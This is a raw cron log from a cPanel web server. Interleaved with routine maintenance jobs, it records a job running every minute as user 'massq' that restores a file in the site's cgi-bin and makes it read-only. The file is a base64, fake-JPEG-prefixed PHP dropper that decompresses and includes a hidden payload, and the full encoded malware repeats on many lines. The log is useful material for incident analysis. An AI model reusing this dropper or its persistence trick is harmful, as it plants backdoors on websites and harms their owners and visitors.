Sep  3 06:28:01 server CROND[30296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:29:01 server CROND[30681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:29:01 server CROND[30682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:29:01 server CROND[30683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:30:01 server CROND[31076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:30:01 server CROND[31077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:30:01 server CROND[31079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:30:01 server CROND[31080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:30:01 server CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:30:01 server CROND[31083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:30:01 server CROND[31078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:30:01 server CROND[31084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:31:01 server CROND[31912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:31:01 server CROND[31911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:31:01 server CROND[31913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:32:01 server CROND[410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:32:01 server CROND[409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:32:01 server CROND[411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:33:01 server CROND[917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:33:01 server CROND[918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:33:01 server CROND[919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:34:01 server CROND[1405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:34:01 server CROND[1404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:34:01 server CROND[1403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:35:01 server CROND[1778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:35:01 server CROND[1780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:35:01 server CROND[1792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:35:01 server CROND[1801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:35:01 server CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:35:01 server CROND[1799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:35:01 server CROND[1802]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:35:01 server CROND[1798]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 06:35:01 server CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:36:01 server CROND[2659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:36:01 server CROND[2660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:36:01 server CROND[2661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:37:01 server CROND[3377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:37:01 server CROND[3378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:37:01 server CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:38:01 server CROND[3845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:38:01 server CROND[3846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:38:01 server CROND[3847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:39:01 server CROND[4239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:39:01 server CROND[4241]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 06:39:01 server CROND[4242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:39:01 server CROND[4240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:40:01 server CROND[4629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:40:01 server CROND[4637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:40:01 server CROND[4644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:40:01 server CROND[4645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:40:01 server CROND[4654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
